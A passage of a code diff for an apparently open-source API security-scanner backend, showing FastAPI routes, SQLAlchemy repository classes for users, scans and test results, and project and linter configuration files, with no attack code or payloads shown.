|
def __repr__(self) -> str:
|
||||||
|
"""
|
||||||
|
String representation of User
|
||||||
|
"""
|
||||||
|
return f"<User(id={self.id}, email={self.email})>"
|
||||||
|
|
||||||
|
@property
|
||||||
|
def is_authenticated(self) -> bool:
|
||||||
|
"""
|
||||||
|
Check if user is active and authenticated
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
bool: True if user is active
|
||||||
|
"""
|
||||||
|
return self.is_active
|
||||||
|
|
@ -0,0 +1,18 @@
|
||||||
|
"""
|
||||||
|
ⒸAngelaMos | 2025
|
||||||
|
Database models package
|
||||||
|
"""
|
||||||
|
|
||||||
|
from .Base import BaseModel
|
||||||
|
|
||||||
|
from .User import User
|
||||||
|
from .Scan import Scan
|
||||||
|
from .TestResult import TestResult
|
||||||
|
|
||||||
|
|
||||||
|
__all__ = [
|
||||||
|
"BaseModel",
|
||||||
|
"User",
|
||||||
|
"Scan",
|
||||||
|
"TestResult",
|
||||||
|
]
|
||||||
|
|
@ -0,0 +1,257 @@
|
||||||
|
[project]
|
||||||
|
name = "api-security-scanner-backend"
|
||||||
|
version = "1.0.0"
|
||||||
|
description = "Backend API for security testing tool"
|
||||||
|
requires-python = ">=3.11"
|
||||||
|
authors = [ # Replace my Name & Email Here
|
||||||
|
{name = "CarerPerez-dev", email = "support@certgames.com"}
|
||||||
|
]
|
||||||
|
readme = "README.md"
|
||||||
|
license = {text = "MIT"}
|
||||||
|
|
||||||
|
dependencies = [
|
||||||
|
# FastAPI and server
|
||||||
|
"fastapi==0.121.1",
|
||||||
|
"uvicorn[standard]==0.38.0",
|
||||||
|
"python-multipart===0.0.20",
|
||||||
|
# Database
|
||||||
|
"sqlalchemy==2.0.44",
|
||||||
|
"psycopg2-binary==2.9.11",
|
||||||
|
"alembic==1.17.1",
|
||||||
|
# Security
|
||||||
|
"slowapi==0.1.9",
|
||||||
|
"passlib[bcrypt]==1.7.4",
|
||||||
|
"python-jose[cryptography]==3.5.0",
|
||||||
|
"bcrypt==4.3.0",
|
||||||
|
# HTTP client for scanners
|
||||||
|
"httpx==0.28.1",
|
||||||
|
"aiohttp==3.13.2",
|
||||||
|
# Settings management
|
||||||
|
"pydantic==2.12.4",
|
||||||
|
"pydantic-settings==2.11.0",
|
||||||
|
"python-dotenv==1.2.1",
|
||||||
|
# Utilities
|
||||||
|
"email-validator==2.3.0",
|
||||||
|
]
|
||||||
|
|
||||||
|
[project.optional-dependencies]
|
||||||
|
dev = [
|
||||||
|
"pylint==3.3.8",
|
||||||
|
"pre-commit==4.3.0",
|
||||||
|
"pip-audit==2.9.0",
|
||||||
|
"ruff==0.14.4",
|
||||||
|
"mypy==1.18.2",
|
||||||
|
"bandit[toml]==1.8.6",
|
||||||
|
"yapf==0.43.0",
|
||||||
|
"pylint-pydantic==0.3.5",
|
||||||
|
"pylint-per-file-ignores==1.4.0",
|
||||||
|
"pylint-plugin-utils==0.9.0",
|
||||||
|
"pylint-pydantic==0.3.5"
|
||||||
|
]
|
||||||
|
|
||||||
|
[build-system]
|
||||||
|
requires = ["setuptools>=80.9.0", "wheel>=0.45.1"]
|
||||||
|
build-backend = "setuptools.build_meta"
|
||||||
|
|
||||||
|
|
||||||
|
[tool.setuptools]
|
||||||
|
py-modules = ["main", "config", "factory"]
|
||||||
|
|
||||||
|
[tool.ruff]
|
||||||
|
target-version = "py311"
|
||||||
|
line-length = 95
|
||||||
|
indent-width = 4
|
||||||
|
exclude = [
|
||||||
|
".bzr",
|
||||||
|
".direnv",
|
||||||
|
".eggs",
|
||||||
|
".git",
|
||||||
|
".git-rewrite",
|
||||||
|
".hg",
|
||||||
|
".ipynb_checkpoints",
|
||||||
|
".mypy_cache",
|
||||||
|
".nox",
|
||||||
|
".pyenv",
|
||||||
|
".pytest_cache",
|
||||||
|
".pytype",
|
||||||
|
".ruff_cache",
|
||||||
|
".svn",
|
||||||
|
".tox",
|
||||||
|
".venv",
|
||||||
|
"__pycache__",
|
||||||
|
"_build",
|
||||||
|
"build",
|
||||||
|
"dist",
|
||||||
|
"site-packages",
|
||||||
|
"venv",
|
||||||
|
"migrations",
|
||||||
|
"devtools",
|
||||||
|
"main.py",
|
||||||
|
]
|
||||||
|
|
||||||
|
[tool.ruff.lint]
|
||||||
|
select = [
|
||||||
|
"E1", # Indentation
|
||||||
|
"E4", # Imports
|
||||||
|
"E7", # Statement
|
||||||
|
"F", # Pyflakes (all F rules)
|
||||||
|
"W292", # No newline at end of file
|
||||||
|
"W605", # Invalid escape sequence
|
||||||
|
"B", # Bugbear
|
||||||
|
"C4", # Comprehensions
|
||||||
|
"UP", # Pyupgrade
|
||||||
|
"ARG", # Unused arguments
|
||||||
|
"SIM", # Simplify
|
||||||
|
"I", # isort rules
|
||||||
|
"F401", # Unused imports
|
||||||
|
"F811", # Redefined imports
|
||||||
|
"F821", # Undefined name
|
||||||
|
]
|
||||||
|
|
||||||
|
ignore = [
|
||||||
|
"E501", # Line length (handled by formatter)
|
||||||
|
"W291", # Trailing whitespace
|
||||||
|
"W293", # Blank line contains whitespace
|
||||||
|
"I001", # Import sorting
|
||||||
|
"RUF001", # Ambiguous unicode
|
||||||
|
"RUF002", # Docstring with ambiguous unicode
|
||||||
|
]
|
||||||
|
|
||||||
|
[tool.ruff.lint.per-file-ignores]
|
||||||
|
"__init__.py" = ["ALL"]
|
||||||
|
"core/dependencies.py" = ["B008"]
|
||||||
|
"routes/auth.py" = ["ARG001", "B008"]
|
||||||
|
"routes/scans.py" = ["ARG001", "B008"]
|
||||||
|
"scanners/base_scanner.py" = ["B010"]
|
||||||
|
|
||||||
|
|
||||||
|
[tool.mypy]
|
||||||
|
python_version = "3.11"
|
||||||
|
mypy_path = "backend"
|
||||||
|
namespace_packages = true
|
||||||
|
explicit_package_bases = true
|
||||||
|
warn_return_any = false
|
||||||
|
warn_unused_configs = true
|
||||||
|
disallow_untyped_defs = false
|
||||||
|
disallow_incomplete_defs = true
|
||||||
|
ignore_missing_imports = true
|
||||||
|
check_untyped_defs = false
|
||||||
|
no_implicit_optional = true
|
||||||
|
warn_redundant_casts = true
|
||||||
|
warn_unused_ignores = true
|
||||||
|
warn_no_return = true
|
||||||
|
show_error_codes = true
|
||||||
|
show_column_numbers = true
|
||||||
|
pretty = true
|
||||||
|
|
||||||
|
exclude = [
|
||||||
|
".venv",
|
||||||
|
"venv",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[tool.mypy.overrides]]
|
||||||
|
module = [
|
||||||
|
"models.*",
|
||||||
|
"repositories.*",
|
||||||
|
"core.security",
|
||||||
|
"core.database",
|
||||||
|
"scanners.*",
|
||||||
|
"schemas.*",
|
||||||
|
"services.*",
|
||||||
|
"routes.*",
|
||||||
|
"factory",
|
||||||
|
"config",
|
||||||
|
]
|
||||||
|
disable_error_code = [
|
||||||
|
"no-any-return",
|
||||||
|
"assignment",
|
||||||
|
"return-value",
|
||||||
|
"arg-type",
|
||||||
|
"var-annotated",
|
||||||
|
"index",
|
||||||
|
"attr-defined",
|
||||||
|
"operator",
|
||||||
|
"union-attr",
|
||||||
|
"call-arg",
|
||||||
|
"dict-item",
|
||||||
|
]
|
||||||
|
|
||||||
|
|
||||||
|
[tool.pylint.main]
|
||||||
|
py-version = "3.11"
|
||||||
|
jobs = 4
|
||||||
|
load-plugins = [
|
||||||
|
"pylint_pydantic",
|
||||||
|
"pylint_per_file_ignores"
|
||||||
|
]
|
||||||
|
persistent = true
|
||||||
|
suggestion-mode = true
|
||||||
|
ignore = [
|
||||||
|
"venv",
|
||||||
|
".venv",
|
||||||
|
"__pycache__",
|
||||||
|
"build",
|
||||||
|
"dist",
|
||||||
|
".git",
|
||||||
|
".pytest_cache",
|
||||||
|
".mypy_cache",
|
||||||
|
".ruff_cache",
|
||||||
|
]
|
||||||
|
ignore-paths = [
|
||||||
|
"^venv/.*",
|
||||||
|
"^.venv/.*",
|
||||||
|
"^build/.*",
|
||||||
|
"^dist/.*",
|
||||||
|
]
|
||||||
|
[tool.pylint.type-check]
|
||||||
|
generated-members = [
|
||||||
|
"objects",
|
||||||
|
"id",
|
||||||
|
"get_or_create",
|
||||||
|
"DoesNotExist",
|
||||||
|
"MultipleObjectsReturned",
|
||||||
|
"objects.get_or_create"
|
||||||
|
]
|
||||||
|
|
||||||
|
[tool.pylint.messages_control]
|
||||||
|
disable = [
|
||||||
|
"C0111", # missing-docstring
|
||||||
|
"C0103", # invalid-name
|
||||||
|
"R0903", # too-few-public-methods
|
||||||
|
"W0511", # fixme
|
||||||
|
"W0622", # redefined-builtin
|
||||||
|
"W0612", # unused-variable (handled by ruff)
|
||||||
|
"W0613", # unused-argument (handled by ruff)
|
||||||
|
"C0301", # Line too long
|
||||||
|
"C0302", # Too many lines
|
||||||
|
"C0411", # Wrong import order
|
||||||
|
"C0305", # Trailing newlines
|
||||||
|
"C0303", # Trailing whitespace
|
||||||
|
"C0304", # Final newline missing
|
||||||
|
"R0801", # Similar lines (want exact duplicates only)
|
||||||
|
]
|
||||||
|
|
||||||
|
per-file-ignores = [
|
||||||
|
"schemas/scan_schemas.py:C0415",
|
||||||
|
"scanners/rate_limit_scanner.py:W0718",
|
||||||
|
"scanners/auth_scanner.py:W0718",
|
||||||
|
"scanners/sqli_scanner.py:W0718",
|
||||||
|
"scanners/idor_scanner.py:W0718",
|
||||||
|
"services/scan_service.py:W0718",
|
||||||
|
"models/Base.py:E0213",
|
||||||
|
]
|
||||||
|
|
||||||
|
[tool.pylint.design]
|
||||||
|
max-args = 10
|
||||||
|
max-attributes = 12
|
||||||
|
max-branches = 13
|
||||||
|
max-locals = 20
|
||||||
|
max-statements = 40
|
||||||
|
|
||||||
|
|
||||||
|
[tool.bandit]
|
||||||
|
exclude_dirs = [
|
||||||
|
".venv",
|
||||||
|
"venv",
|
||||||
|
]
|
||||||
|
skips = ["B104"]
|
||||||
|
|
@ -0,0 +1,12 @@
|
||||||
|
"""Database repository layer for data access operations"""
|
||||||
|
|
||||||
|
from .user_repository import UserRepository
|
||||||
|
from .scan_repository import ScanRepository
|
||||||
|
from .test_result_repository import TestResultRepository
|
||||||
|
|
||||||
|
|
||||||
|
__all__ = [
|
||||||
|
"UserRepository",
|
||||||
|
"ScanRepository",
|
||||||
|
"TestResultRepository",
|
||||||
|
]
|
||||||
|
|
@ -0,0 +1,159 @@
|
||||||
|
"""
|
||||||
|
ⒸAngelaMos | 2025
|
||||||
|
Handles all Scan model database queries
|
||||||
|
"""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
from datetime import UTC, datetime
|
||||||
|
from sqlalchemy.orm import (
|
||||||
|
Session,
|
||||||
|
joinedload,
|
||||||
|
)
|
||||||
|
|
||||||
|
from ..config import settings
|
||||||
|
from ..models.Scan import Scan
|
||||||
|
|
||||||
|
|
||||||
|
class ScanRepository:
|
||||||
|
"""
|
||||||
|
Repository for Scan database operations
|
||||||
|
"""
|
||||||
|
@staticmethod
|
||||||
|
def create_scan(
|
||||||
|
db: Session,
|
||||||
|
user_id: int,
|
||||||
|
target_url: str,
|
||||||
|
commit: bool = True
|
||||||
|
) -> Scan:
|
||||||
|
"""
|
||||||
|
Create a new scan
|
||||||
|
|
||||||
|
Args:
|
||||||
|
db: Database session
|
||||||
|
user_id: User ID who initiated the scan
|
||||||
|
target_url: Target URL to scan
|
||||||
|
commit: Whether to commit the transaction
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Scan: Created scan instance
|
||||||
|
"""
|
||||||
|
scan = Scan(
|
||||||
|
user_id = user_id,
|
||||||
|
target_url = target_url,
|
||||||
|
scan_date = datetime.now(UTC),
|
||||||
|
)
|
||||||
|
db.add(scan)
|
||||||
|
if commit:
|
||||||
|
db.commit()
|
||||||
|
db.refresh(scan)
|
||||||
|
return scan
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_by_id(db: Session, scan_id: int) -> Scan | None:
|
||||||
|
"""
|
||||||
|
Get scan by ID with test results loaded
|
||||||
|
|
||||||
|
Args:
|
||||||
|
db: Database session
|
||||||
|
scan_id: Scan ID
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Scan | None: Scan instance or None if not found
|
||||||
|
"""
|
||||||
|
return (
|
||||||
|
db.query(Scan).options(
|
||||||
|
joinedload(Scan.test_results)
|
||||||
|
).filter(Scan.id == scan_id).first()
|
||||||
|
)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_by_user(
|
||||||
|
db: Session,
|
||||||
|
user_id: int,
|
||||||
|
skip: int = 0,
|
||||||
|
limit: int | None = None
|
||||||
|
) -> list[Scan]:
|
||||||
|
"""
|
||||||
|
Get all scans for a user with pagination.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
db: Database session
|
||||||
|
user_id: User ID
|
||||||
|
skip: Number of records to skip
|
||||||
|
limit: Maximum number of records to return (DEFAULT_PAGINATION_LIMIT)
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
list[Scan]: List of scans with test results
|
||||||
|
"""
|
||||||
|
if limit is None:
|
||||||
|
limit = settings.DEFAULT_PAGINATION_LIMIT
|
||||||
|
|
||||||
|
return (
|
||||||
|
db.query(Scan).options(
|
||||||
|
joinedload(Scan.test_results)
|
||||||
|
).filter(Scan.user_id == user_id).order_by(
|
||||||
|
Scan.scan_date.desc()
|
||||||
|
).offset(skip).limit(limit).all()
|
||||||
|
)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_recent(db: Session,
|
||||||
|
limit: int | None = None) -> list[Scan]:
|
||||||
|
"""
|
||||||
|
Get most recent scans across all users.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
db: Database session
|
||||||
|
limit: Maximum number of scans to return (DEFAULT_PAGINATION_LIMIT)
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
list[Scan]: List of recent scans
|
||||||
|
"""
|
||||||
|
if limit is None:
|
||||||
|
limit = settings.DEFAULT_PAGINATION_LIMIT
|
||||||
|
|
||||||
|
return (
|
||||||
|
db.query(Scan).options(
|
||||||
|
joinedload(Scan.test_results)
|
||||||
|
).order_by(Scan.scan_date.desc()).limit(limit).all()
|
||||||
|
)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def delete(
|
||||||
|
db: Session,
|
||||||
|
scan_id: int,
|
||||||
|
commit: bool = True
|
||||||
|
) -> bool:
|
||||||
|
"""
|
||||||
|
Delete a scan (cascades to test results).
|
||||||
|
|
||||||
|
Args:
|
||||||
|
db: Database session
|
||||||
|
scan_id: Scan ID to delete
|
||||||
|
commit: Whether to commit the transaction
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
bool: True if deleted, False if not found
|
||||||
|
"""
|
||||||
|
scan = ScanRepository.get_by_id(db, scan_id)
|
||||||
|
if scan:
|
||||||
|
db.delete(scan)
|
||||||
|
if commit:
|
||||||
|
db.commit()
|
||||||
|
return True
|
||||||
|
return False
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def count_by_user(db: Session, user_id: int) -> int:
|
||||||
|
"""
|
||||||
|
Count total scans for a user.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
db: Database session
|
||||||
|
user_id: User ID
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
int: Total number of scans
|
||||||
|
"""
|
||||||
|
return db.query(Scan).filter(Scan.user_id == user_id).count()
|
||||||
|
|
@ -0,0 +1,177 @@
|
||||||
|
"""
|
||||||
|
ⒸAngelaMos | 2025
|
||||||
|
TestResult repository for database operations
|
||||||
|
"""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
from typing import Any
|
||||||
|
|
||||||
|
from sqlalchemy.orm import Session
|
||||||
|
|
||||||
|
from ..core.enums import (
|
||||||
|
ScanStatus,
|
||||||
|
Severity,
|
||||||
|
TestType,
|
||||||
|
)
|
||||||
|
from ..models.TestResult import TestResult
|
||||||
|
|
||||||
|
|
||||||
|
class TestResultRepository:
|
||||||
|
"""
|
||||||
|
Repository for TestResult database operations
|
||||||
|
"""
|
||||||
|
@staticmethod
|
||||||
|
def create_test_result(
|
||||||
|
db: Session,
|
||||||
|
scan_id: int,
|
||||||
|
*,
|
||||||
|
test_name: TestType,
|
||||||
|
status: ScanStatus,
|
||||||
|
severity: Severity,
|
||||||
|
details: str,
|
||||||
|
evidence_json: dict[str,
|
||||||
|
Any],
|
||||||
|
recommendations_json: list[str],
|
||||||
|
commit: bool = True,
|
||||||
|
) -> TestResult:
|
||||||
|
"""
|
||||||
|
Create a new test result.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
db: Database session
|
||||||
|
scan_id: Scan ID this result belongs to
|
||||||
|
test_name: Type of security test
|
||||||
|
status: Test status (vulnerable, safe, error)
|
||||||
|
severity: Vulnerability severity
|
||||||
|
details: Detailed description
|
||||||
|
evidence_json: Evidence data as JSON
|
||||||
|
recommendations_json: List of recommendations
|
||||||
|
commit: Whether to commit the transaction
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
TestResult: Created test result instance
|
||||||
|
"""
|
||||||
|
test_result = TestResult(
|
||||||
|
scan_id = scan_id,
|
||||||
|
test_name = test_name,
|
||||||
|
status = status,
|
||||||
|
severity = severity,
|
||||||
|
details = details,
|
||||||
|
evidence_json = evidence_json,
|
||||||
|
recommendations_json = recommendations_json,
|
||||||
|
)
|
||||||
|
db.add(test_result)
|
||||||
|
if commit:
|
||||||
|
db.commit()
|
||||||
|
db.refresh(test_result)
|
||||||
|
return test_result
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def bulk_create(
|
||||||
|
db: Session,
|
||||||
|
test_results: list[TestResult],
|
||||||
|
commit: bool = True
|
||||||
|
) -> list[TestResult]:
|
||||||
|
"""
|
||||||
|
Create multiple test results in bulk
|
||||||
|
|
||||||
|
Args:
|
||||||
|
db: Database session
|
||||||
|
test_results: List of TestResult instances to create
|
||||||
|
commit: Whether to commit the transaction
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
list[TestResult]: Created test result instances
|
||||||
|
"""
|
||||||
|
db.add_all(test_results)
|
||||||
|
if commit:
|
||||||
|
db.commit()
|
||||||
|
for result in test_results:
|
||||||
|
db.refresh(result)
|
||||||
|
return test_results
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_by_scan(db: Session, scan_id: int) -> list[TestResult]:
|
||||||
|
"""
|
||||||
|
Get all test results for a specific scan
|
||||||
|
|
||||||
|
Args:
|
||||||
|
db: Database session
|
||||||
|
scan_id: Scan ID
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
list[TestResult]: List of test results for the scan
|
||||||
|
"""
|
||||||
|
return (
|
||||||
|
db.query(TestResult).filter(
|
||||||
|
TestResult.scan_id == scan_id
|
||||||
|
).order_by(TestResult.created_at.asc()).all()
|
||||||
|
)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_by_status(db: Session,
|
||||||
|
scan_id: int,
|
||||||
|
status: ScanStatus) -> list[TestResult]:
|
||||||
|
"""
|
||||||
|
Get test results by status for a scan
|
||||||
|
|
||||||
|
Args:
|
||||||
|
db: Database session
|
||||||
|
scan_id: Scan ID
|
||||||
|
status: Status to filter by
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
list[TestResult]: Filtered test results
|
||||||
|
"""
|
||||||
|
return (
|
||||||
|
db.query(TestResult).filter(
|
||||||
|
TestResult.scan_id == scan_id,
|
||||||
|
TestResult.status == status
|
||||||
|
).all()
|
||||||
|
)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_vulnerabilities(db: Session,
|
||||||
|
scan_id: int) -> list[TestResult]:
|
||||||
|
"""
|
||||||
|
Get only vulnerable test results for a scan
|
||||||
|
|
||||||
|
Args:
|
||||||
|
db: Database session
|
||||||
|
scan_id: Scan ID
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
list[TestResult]: Vulnerable test results only
|
||||||
|
"""
|
||||||
|
return TestResultRepository.get_by_status(
|
||||||
|
db,
|
||||||
|
scan_id,
|
||||||
|
ScanStatus.VULNERABLE
|
||||||
|
)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def delete_by_scan(
|
||||||
|
db: Session,
|
||||||
|
scan_id: int,
|
||||||
|
commit: bool = True
|
||||||
|
) -> int:
|
||||||
|
"""
|
||||||
|
Delete all test results for a scan
|
||||||
|
|
||||||
|
Args:
|
||||||
|
db: Database session
|
||||||
|
scan_id: Scan ID
|
||||||
|
commit: Whether to commit the transaction
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
int: Number of test results deleted
|
||||||
|
"""
|
||||||
|
count = (
|
||||||
|
db.query(TestResult).filter(
|
||||||
|
TestResult.scan_id == scan_id
|
||||||
|
).delete()
|
||||||
|
)
|
||||||
|
if commit:
|
||||||
|
db.commit()
|
||||||
|
return count
|
||||||
|
|
@ -0,0 +1,147 @@
|
||||||
|
"""
|
||||||
|
ⒸAngelaMos | 2025
|
||||||
|
User repository for database operations
|
||||||
|
"""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
from sqlalchemy.orm import Session
|
||||||
|
|
||||||
|
from ..config import settings
|
||||||
|
from ..models.User import User
|
||||||
|
|
||||||
|
|
||||||
|
class UserRepository:
|
||||||
|
"""
|
||||||
|
Repository for User database operations
|
||||||
|
"""
|
||||||
|
@staticmethod
|
||||||
|
def get_by_id(db: Session, user_id: int) -> User | None:
|
||||||
|
"""
|
||||||
|
Get user by ID
|
||||||
|
|
||||||
|
Args:
|
||||||
|
db: Database session
|
||||||
|
user_id: User ID
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
User | None: User instance or None if not found
|
||||||
|
"""
|
||||||
|
return db.query(User).filter(User.id == user_id).first()
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_by_email(db: Session, email: str) -> User | None:
|
||||||
|
"""
|
||||||
|
Get user by email address
|
||||||
|
|
||||||
|
Args:
|
||||||
|
db: Database session
|
||||||
|
email: User email address
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
User | None: User instance or None if not found
|
||||||
|
"""
|
||||||
|
return db.query(User).filter(User.email == email).first()
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def create_user(
|
||||||
|
db: Session,
|
||||||
|
email: str,
|
||||||
|
hashed_password: str,
|
||||||
|
commit: bool = True
|
||||||
|
) -> User:
|
||||||
|
"""
|
||||||
|
Create a new user
|
||||||
|
|
||||||
|
Args:
|
||||||
|
db: Database session
|
||||||
|
email: User email address
|
||||||
|
hashed_password: Bcrypt hashed password
|
||||||
|
commit: Whether to commit the transaction
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
User: Created user instance
|
||||||
|
"""
|
||||||
|
user = User(email = email, hashed_password = hashed_password)
|
||||||
|
db.add(user)
|
||||||
|
if commit:
|
||||||
|
db.commit()
|
||||||
|
db.refresh(user)
|
||||||
|
return user
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_all_active(
|
||||||
|
db: Session,
|
||||||
|
skip: int = 0,
|
||||||
|
limit: int | None = None
|
||||||
|
) -> list[User]:
|
||||||
|
"""
|
||||||
|
Get all active users with pagination
|
||||||
|
|
||||||
|
Args:
|
||||||
|
db: Database session
|
||||||
|
skip: Number of records to skip
|
||||||
|
limit: Maximum number of records to return (DEFAULT_PAGINATION_LIMIT)
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
list[User]: List of active users
|
||||||
|
"""
|
||||||
|
if limit is None:
|
||||||
|
limit = settings.DEFAULT_PAGINATION_LIMIT
|
||||||
|
|
||||||
|
return (
|
||||||
|
db.query(User).filter(User.is_active
|
||||||
|
).offset(skip).limit(limit).all()
|
||||||
|
)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def update_active_status(
|
||||||
|
db: Session,
|
||||||
|
user_id: int,
|
||||||
|
is_active: bool,
|
||||||
|
commit: bool = True
|
||||||
|
) -> User | None:
|
||||||
|
"""
|
||||||
|
Update user active status
|
||||||
|
|
||||||
|
Args:
|
||||||
|
db: Database session
|
||||||
|
user_id: User ID
|
||||||
|
is_active: New active status
|
||||||
|
commit: Whether to commit the transaction
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
User | None: Updated user or None if not found
|
||||||
|
"""
|
||||||
|
user = UserRepository.get_by_id(db, user_id)
|
||||||
|
if user:
|
||||||
|
user.is_active = is_active
|
||||||
|
if commit:
|
||||||
|
db.commit()
|
||||||
|
db.refresh(user)
|
||||||
|
return user
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def delete(
|
||||||
|
db: Session,
|
||||||
|
user_id: int,
|
||||||
|
commit: bool = True
|
||||||
|
) -> bool:
|
||||||
|
"""
|
||||||
|
Delete a user
|
||||||
|
|
||||||
|
Args:
|
||||||
|
db: Database session
|
||||||
|
user_id: User ID to delete
|
||||||
|
commit: Whether to commit the transaction
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
bool: True if deleted, False if not found
|
||||||
|
"""
|
||||||
|
user = UserRepository.get_by_id(db, user_id)
|
||||||
|
if user:
|
||||||
|
db.delete(user)
|
||||||
|
if commit:
|
||||||
|
db.commit()
|
||||||
|
return True
|
||||||
|
return False
|
||||||
|
|
@ -0,0 +1,28 @@
|
||||||
|
# ⒸAngelaMos | 2025
|
||||||
|
|
||||||
|
# FastAPI and server
|
||||||
|
fastapi>=0.109.0
|
||||||
|
uvicorn[standard]>=0.27.0
|
||||||
|
python-multipart>=0.0.6
|
||||||
|
|
||||||
|
# Database
|
||||||
|
sqlalchemy>=2.0.25
|
||||||
|
psycopg2-binary>=2.9.9
|
||||||
|
alembic>=1.13.0
|
||||||
|
|
||||||
|
# Security
|
||||||
|
passlib[bcrypt]>=1.7.4
|
||||||
|
python-jose[cryptography]>=3.3.0
|
||||||
|
bcrypt>=4.1.2
|
||||||
|
|
||||||
|
# HTTP client for scanners
|
||||||
|
httpx>=0.26.0
|
||||||
|
aiohttp>=3.9.0
|
||||||
|
|
||||||
|
# Settings management
|
||||||
|
pydantic>=2.5.0
|
||||||
|
pydantic-settings>=2.1.0
|
||||||
|
python-dotenv>=1.0.0
|
||||||
|
|
||||||
|
# Utilities
|
||||||
|
email-validator>=2.1.0
|
||||||
|
|
@ -0,0 +1,11 @@
|
||||||
|
"""
|
||||||
|
API route handlers
|
||||||
|
"""
|
||||||
|
|
||||||
|
from .auth import router as auth_router
|
||||||
|
from .scans import router as scans_router
|
||||||
|
|
||||||
|
__all__ = [
|
||||||
|
"auth_router",
|
||||||
|
"scans_router",
|
||||||
|
]
|
||||||
|
|
@ -0,0 +1,63 @@
|
||||||
|
"""
|
||||||
|
©AngelaMos | 2025
|
||||||
|
Authentication routes - registration and login
|
||||||
|
"""
|
||||||
|
|
||||||
|
from fastapi import (
|
||||||
|
APIRouter,
|
||||||
|
Depends,
|
||||||
|
Request,
|
||||||
|
status,
|
||||||
|
)
|
||||||
|
from slowapi import Limiter
|
||||||
|
from slowapi.util import get_remote_address
|
||||||
|
from sqlalchemy.orm import Session
|
||||||
|
|
||||||
|
from ..config import settings
|
||||||
|
from ..core.database import get_db
|
||||||
|
from ..schemas.user_schemas import (
|
||||||
|
TokenResponse,
|
||||||
|
UserCreate,
|
||||||
|
UserLogin,
|
||||||
|
UserResponse,
|
||||||
|
)
|
||||||
|
from ..services.auth_service import AuthService
|
||||||
|
|
||||||
|
|
||||||
|
router = APIRouter(prefix="/auth", tags=["authentication"])
|
||||||
|
limiter = Limiter(key_func=get_remote_address)
|
||||||
|
|
||||||
|
|
||||||
|
@router.post(
|
||||||
|
"/register",
|
||||||
|
response_model=UserResponse,
|
||||||
|
status_code=status.HTTP_201_CREATED,
|
||||||
|
)
|
||||||
|
@limiter.limit(settings.API_RATE_LIMIT_REGISTER)
|
||||||
|
async def register(
|
||||||
|
request: Request,
|
||||||
|
user_data: UserCreate,
|
||||||
|
db: Session = Depends(get_db),
|
||||||
|
) -> UserResponse:
|
||||||
|
"""
|
||||||
|
Register a new user account
|
||||||
|
"""
|
||||||
|
return AuthService.register_user(db, user_data)
|
||||||
|
|
||||||
|
|
||||||
|
@router.post(
|
||||||
|
"/login",
|
||||||
|
response_model=TokenResponse,
|
||||||
|
status_code=status.HTTP_200_OK,
|
||||||
|
)
|
||||||
|
@limiter.limit(settings.API_RATE_LIMIT_LOGIN)
|
||||||
|
async def login(
|
||||||
|
request: Request,
|
||||||
|
login_data: UserLogin,
|
||||||
|
db: Session = Depends(get_db),
|
||||||
|
) -> TokenResponse:
|
||||||
|
"""
|
||||||
|
Authenticate user and receive JWT token
|
||||||
|
"""
|
||||||
|
return AuthService.login_user(db, login_data)
|
||||||
|
|
||||||
|
|
@ -0,0 +1,100 @@
|
||||||
|
"""
|
||||||
|
©AngelaMos | 2025
|
||||||
|
Scan routes - create, retrieve, and manage security scans
|
||||||
|
"""
|
||||||
|
|
||||||
|
from fastapi import (
|
||||||
|
APIRouter,
|
||||||
|
Depends,
|
||||||
|
Request,
|
||||||
|
status,
|
||||||
|
)
|
||||||
|
from slowapi import Limiter
|
||||||
|
from slowapi.util import get_remote_address
|
||||||
|
from sqlalchemy.orm import Session
|
||||||
|
|
||||||
|
from ..config import settings
|
||||||
|
from ..core.database import get_db
|
||||||
|
from ..core.dependencies import get_current_user
|
||||||
|
from ..schemas.scan_schemas import (
|
||||||
|
ScanRequest,
|
||||||
|
ScanResponse,
|
||||||
|
)
|
||||||
|
from ..schemas.user_schemas import UserResponse
|
||||||
|
from ..services.scan_service import ScanService
|
||||||
|
|
||||||
|
|
||||||
|
router = APIRouter(prefix="/scans", tags=["scans"])
|
||||||
|
limiter = Limiter(key_func=get_remote_address)
|
||||||
|
|
||||||
|
|
||||||
|
@router.post(
|
||||||
|
"/",
|
||||||
|
response_model=ScanResponse,
|
